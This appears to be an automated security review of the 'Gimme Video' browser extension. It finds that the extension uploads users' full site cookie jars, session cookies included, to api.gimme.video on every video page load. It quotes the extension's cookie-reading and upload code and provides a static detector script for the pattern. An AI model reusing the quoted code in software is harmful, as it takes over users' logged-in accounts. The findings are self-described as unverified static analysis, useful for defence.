Is Gimme Video - Video Downloader safe?
Gimme Video reads your full site cookie jar on YouTube, Instagram, Facebook, Reddit, X/Twitter or TikTok and sends it to its own server.
As soon as a tab finishes loading a video page on one of these sites, the extension's background service worker collects every cookie for that site's domain, including session/login cookies, and packages them into a cookie file. It then sends that file, along with the page URL, to the vendor's backend at api.gimme.video, without waiting for you to click download.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Gimme Video sends your full session cookies to its server on every video visit
Opening a video page on YouTube, Instagram, Facebook, Reddit, X or TikTok makes the service worker read every cookie for that site, session cookies included, and POST them plus the page URL to the vendor's server, before you click download.
Opens a video permalink on YouTube, Instagram, Facebook, Reddit, X or TikTok while signed in.
Reads every cookie for that site and POSTs them, with the page URL, to the vendor's backend before any download click.
Automatic cookie read wired to every matched-site page load
// Map platform to domain for cookie reading
const PLATFORM_COOKIE_DOMAINS = {
youtube: 'youtube.com',
instagram: 'instagram.com',
facebook: 'facebook.com',
reddit: 'reddit.com',
twitter: 'x.com',
tiktok: 'tiktok.com',
};
async function getPlatformCookies(platform) {
const domain = PLATFORM_COOKIE_DOMAINS[platform];
if (!domain) return null;
try {
const cookies = await chrome.cookies.getAll({ domain });
if (!cookies || cookies.length === 0) return null;
// Convert to Netscape format (required by yt-dlp)
const lines = ['# Netscape HTTP Cookie File', '# Generated by Gimme.Video extension', ''];
for (const c of cookies) {
const secure = c.secure ? 'TRUE' : 'FALSE';
const expiry = c.expirationDate ? Math.floor(c.expirationDate) : 0;
const domain_ = c.domain.startsWith('.') ? c.domain : `.${c.domain}`;
const includeSubdomains = 'TRUE';
lines.push(`${domain_}\t${includeSubdomains}\t${c.path}\t${secure}\t${expiry}\t${c.name}\t${c.value}`);
}
return lines.join('\n');
} catch (err) {
console.log('[SW] Failed to read cookies for', platform, err.message);
return null;
}
}
try {
console.log('[SW] Pre-fetching:', url);
// Read user's cookies for this platform (enables downloading age-restricted content)
const userCookies = await getPlatformCookies(tabInfo.platform);
const response = await fetch(`${API_URL}/api/download`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url, ...(userCookies ? { userCookies } : {}) }),
});
The read-and-send runs on every matched navigation, not on a download click
}
if (changeInfo.status === 'complete' && tab?.url) {
const platform = detectPlatform(tab.url);
if (platform) {
const existing = tabs.get(tabId);
if (!existing || existing.url !== tab.url) {
tabs.set(tabId, { platform, url: tab.url, fetchStatus: 'idle' });
// Debounce prefetch — 500ms delay prevents rapid-fire on Shorts/Reels
clearTimeout(prefetchTimers.get(tabId));
const timer = setTimeout(() => {
prefetchTimers.delete(tabId);
const current = tabs.get(tabId);
if (current && current.url === tab.url) {
prefetchVideoInfo(tabId, tab.url);
}
| Field | Value | Why it matters | |
|---|---|---|---|
Your session/login cookie | .youtube.com TRUE / TRUE 1781234567 SID AHV8x2kQ... | Not just an anonymous ID; this is the cookie that keeps you signed in on the site. | |
Every other cookie for the site | .youtube.com TRUE / FALSE 1781234567 VISITOR_INFO1_LIVE k3n2f... | The full jar goes over, not a scoped token for one video. | |
The page you were viewing | https://www.youtube.com/watch?v=dQw4w9WgXcQ | Tells the vendor's server exactly which video you opened, and when. |
- api.gimme.video
The extension's own backend; receives the cookie file and page URL for every matched video page, before any download click.
Static scanner that flags the auto cookie-read-and-upload pattern in an unpacked extension's service worker source.
#!/usr/bin/env node
// Static detector: flags a service worker that reads chrome.cookies.getAll()
// output and forwards it in a fetch()/POST body, unconditioned on user input.
const fs = require('fs');
const file = process.argv[2];
if (!file) {
console.error('usage: node detect_cookie_exfil.js <path-to-service-worker.js>');
process.exit(1);
}
const src = fs.readFileSync(file, 'utf8');
const cookieReadRe = /chrome\.cookies\.getAll\s*\(/g;
const fetchRe = /fetch\s*\(/g;
const cookieReads = [...src.matchAll(cookieReadRe)].map(m => m.index);
const fetches = [...src.matchAll(fetchRe)].map(m => m.index);
if (cookieReads.length === 0) {
console.log('No chrome.cookies.getAll() call found.');
process.exit(0);
}
console.log(`Found ${cookieReads.length} chrome.cookies.getAll() call(s).`);
for (const readIdx of cookieReads) {
// Look for a fetch() call within 2000 chars after the cookie read - a
// strong signal the cookie data feeds straight into a network request.
const nearbyFetch = fetches.find(fIdx => fIdx > readIdx && fIdx - readIdx < 2000);
if (nearbyFetch !== undefined) {
const context = src.slice(readIdx, nearbyFetch + 200);
const hasClickGuard = /addEventListener\s*\(\s*['"]click['"]/.test(
src.slice(Math.max(0, readIdx - 500), readIdx),
);
console.log('---');
console.log(`Cookie read at offset ${readIdx}, fetch() at offset ${nearbyFetch} (${nearbyFetch - readIdx} chars apart).`);
console.log(hasClickGuard
? 'A click listener appears nearby - may be gated on user action.'
: 'No click listener nearby - likely fires automatically (e.g. on navigation/tab update).');
console.log('Context:');
console.log(context);
}
}
- 1Run: node detect_cookie_exfil.js <path-to-service-worker.js>.
- 2It reports every chrome.cookies.getAll call that feeds a fetch/POST with no preceding user click.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.